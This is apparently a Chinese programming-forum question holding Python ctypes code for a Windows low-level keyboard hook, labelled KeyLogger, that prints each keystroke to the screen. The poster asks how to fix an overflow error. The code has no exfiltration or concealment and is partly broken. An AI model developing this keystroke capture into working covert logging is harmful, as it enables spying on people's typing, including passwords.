<h2 id="h2-u6E90u4EE3u7801"><a name="源代码" class="reference-link"></a><span class="header-link octicon octicon-link"></span>源代码</h2><p>from ctypes import *<br>import sys<br>from ctypes.wintypes import MSG<br>from ctypes.wintypes import DWORD<br>from typing import Type</p>
<p>user32 = windll.user32<br>kernel32 =windll.kernel32</p>
<p>WH<em>KEYBOARD<em>LL=13<br>WM_KEYDOWN=0X0100<br>CTRL_CODE=162<br>class KeyLogger:<br>    def __init</em></em>(self):<br>        self.lUser32 = user32<br>        self.hooked = None<br>    def installHookProc(self,pointer):<br>        self.hooked=self.lUser32.SetWindowsHookExA(<br>            13,<br>            pointer,<br>            0,<br>            0</p>
<pre><code>    )
    if not self.hooked:
        print(kernel32.GetLastError())
        return False
    return True
def uninstallHookProc(self):
    if self.hooked is None:
        return
    self.lUser32.UnhookWindowsHookEx(self.hooked)
    self.hooked=None
</code></pre><p>def getFPTR(fn):<br>     CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))<br>     return CMPFUNC(fn)</p>
<p>def hookProc(nCode,wParam,lParam):<br>     if wParam is not WM_KEYDOWN:<br>         return user32.CallNextHookEx(KeyLogger.hooked,nCode,wParam,lParam)<br>     print(chr(lParam[0]))<br>     if CTRL_CODE == int(lParam[0]):<br>         print(“Ctrl pressed,call uninstallHook()”)<br>         KeyLogger.uninstallHookProc()<br>         sys.exit(-1)<br>     else:<br>        return user32.CallNextHookEx(KeyLogger.hooked,nCode,wParam,lParam)</p>
<p>def startKeyLog():<br>    msg=MSG()<br>    user32.GetMessageA(byref(msg),0,0,0)</p>
<p>KeyLogger = KeyLogger()<br>pointer = getFPTR(hookProc)<br>print(pointer)</p>
<p>if KeyLogger.installHookProc(pointer):<br>    print(“installed keyLogger”)<br>else:<br>    print(“no ok”)<br>startKeyLog()</p>
<h4 id="h4-u95EEu9898u5185u5BB9"><a name="问题内容" class="reference-link"></a><span class="header-link octicon octicon-link"></span>问题内容</h4><p>我是想通过python去调用win API，来生成一个钩子，去监听按下了哪个案件并且输出在屏幕上，通过chr把值转化为字符，但是这边出现了个溢出问题，不知道该如何解决。</p>
<p><img src="https://nc0.cdn.zkaq.cn/md/7478/937e1ceabb105839c2fc95594ebc4067_75796.png" alt=""></p>